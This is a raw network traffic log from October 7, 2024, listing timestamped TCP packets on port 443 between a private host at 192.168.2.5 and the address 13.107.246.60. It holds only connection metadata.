Oct 7, 2024 13:26:50.179142952 CEST	49815	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.179147959 CEST	443	49815	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.182874918 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.182913065 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.182993889 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.183172941 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.183183908 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.224493027 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.225347042 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.225378036 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.225879908 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.225888014 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.268682957 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.268709898 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.268752098 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.268758059 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.268802881 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.269078016 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.269092083 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.269102097 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.269110918 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.270113945 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.270170927 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.270207882 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.270690918 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.270718098 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.270730019 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.270736933 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.273622990 CEST	49821	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.273669004 CEST	443	49821	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.273735046 CEST	49821	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.273897886 CEST	49821	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.273914099 CEST	443	49821	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.274760962 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.274785995 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.274837971 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.274996042 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.275011063 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.323699951 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.324429989 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.324506998 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.324559927 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.324573994 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.324589014 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.324594021 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.329058886 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.329118967 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.329195976 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.329428911 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.329442024 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.402744055 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.403382063 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.403399944 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.403903008 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.403907061 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.505604982 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.505702019 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.505775928 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.506093979 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.506114960 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.506129026 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.506134033 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.510097980 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.510148048 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.510231018 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.510461092 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.510472059 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.815779924 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.816318035 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.816334963 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.816783905 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.816788912 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.911978006 CEST	443	49821	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.912683010 CEST	49821	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.912708044 CEST	443	49821	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.912902117 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.913299084 CEST	49821	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.913304090 CEST	443	49821	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.914212942 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.914226055 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.914628983 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.914633036 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.914779902 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.915061951 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.915117979 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.915184021 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.915204048 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.915213108 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.915218115 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.923871040 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.923904896 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:50.923965931 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.924240112 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:50.924252987 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.001574993 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.002087116 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.002109051 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.002562046 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.002567053 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.010313034 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.010559082 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.010612965 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.010674953 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.010684967 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.010705948 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.010710001 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.011174917 CEST	443	49821	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.011409044 CEST	443	49821	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.011456966 CEST	443	49821	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.011461020 CEST	49821	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.011504889 CEST	49821	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.012609959 CEST	49821	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.012614012 CEST	443	49821	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.017395973 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.017409086 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.017469883 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.018526077 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.018537998 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.019587040 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.019623995 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.019676924 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.019794941 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.019805908 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.106204033 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.106421947 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.106477022 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.115154028 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.115175962 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.115185022 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.115190029 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.117851973 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.117888927 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.117964029 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.118084908 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.118098021 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.148385048 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.198991060 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.224754095 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.224786997 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.225285053 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.225291967 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.320823908 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.320995092 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.323859930 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.333775043 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.333807945 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.333822012 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.333828926 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.348655939 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.348701954 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.348818064 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.349067926 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.349082947 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.615158081 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.615978003 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.616005898 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.616475105 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.616480112 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.670114040 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.670948982 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.670972109 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.671483994 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.671489000 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.722430944 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.722493887 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.722611904 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.722702026 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.722877026 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.722903013 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.722915888 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.722923040 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.726337910 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.726385117 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.726481915 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.726691008 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.726703882 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.760687113 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.761508942 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.761523962 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.762079954 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.762087107 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.769500971 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.769622087 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.769839048 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.769912004 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.769954920 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.769985914 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.770000935 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.773474932 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.773509979 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.773607969 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.773782969 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.773793936 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.860451937 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.860527992 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.860619068 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.860908031 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.860929012 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.860939026 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.860944986 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.864379883 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.864408970 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.864509106 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.864713907 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.864743948 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.989234924 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.989998102 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.990037918 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:51.990529060 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:51.990535021 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.090643883 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.090694904 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.090735912 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.090795994 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.091125011 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.091147900 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.091160059 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.091165066 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.094341040 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.094389915 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.094440937 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.094789982 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.094810963 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.367204905 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.368082047 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.368108988 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.368526936 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.368532896 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.423340082 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.423892975 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.423904896 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.424361944 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.424365997 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.467565060 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.468030930 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.468099117 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.468169928 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.468189001 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.468221903 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.468226910 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.471426010 CEST	49834	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.471461058 CEST	443	49834	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.471534967 CEST	49834	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.471666098 CEST	49834	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.471672058 CEST	443	49834	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.524209023 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.524871111 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.524904966 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.524957895 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.525302887 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.525312901 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.526956081 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.526999950 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.527004004 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.527067900 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.527158022 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.527174950 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.527184010 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.527188063 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.530349970 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.530417919 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.530513048 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.530651093 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.530679941 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.628245115 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.628318071 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.628521919 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.628962994 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.628987074 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.629019976 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.629035950 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.632786036 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.632822990 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.632925987 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.633184910 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.633198023 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.735456944 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.736021996 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.736061096 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.736573935 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.736584902 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.833224058 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.833328009 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.833367109 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.833422899 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.833456039 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.833735943 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.833754063 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.833771944 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.833777905 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.836741924 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.836777925 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:52.836843014 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.837002039 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:52.837009907 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.149884939 CEST	443	49834	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.153341055 CEST	49834	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.153364897 CEST	443	49834	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.153815985 CEST	49834	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.153825998 CEST	443	49834	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.161262035 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.162178040 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.162193060 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.162594080 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.162599087 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.255373001 CEST	443	49834	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.255990028 CEST	443	49834	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.256115913 CEST	49834	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.256161928 CEST	49834	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.256161928 CEST	49834	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.256190062 CEST	443	49834	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.256197929 CEST	443	49834	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.259387970 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.259489059 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.259584904 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.259751081 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.259780884 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.263655901 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.263689041 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.263732910 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.263735056 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.263775110 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.263932943 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.263951063 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.263963938 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.263969898 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.266484022 CEST	49839	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.266513109 CEST	443	49839	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.266571999 CEST	49839	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.266721964 CEST	49839	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:26:53.266733885 CEST	443	49839	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.279167891 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 7, 2024 13:26:53.279583931 CEST	49836	443	192.168.2.5	13.107.246.60
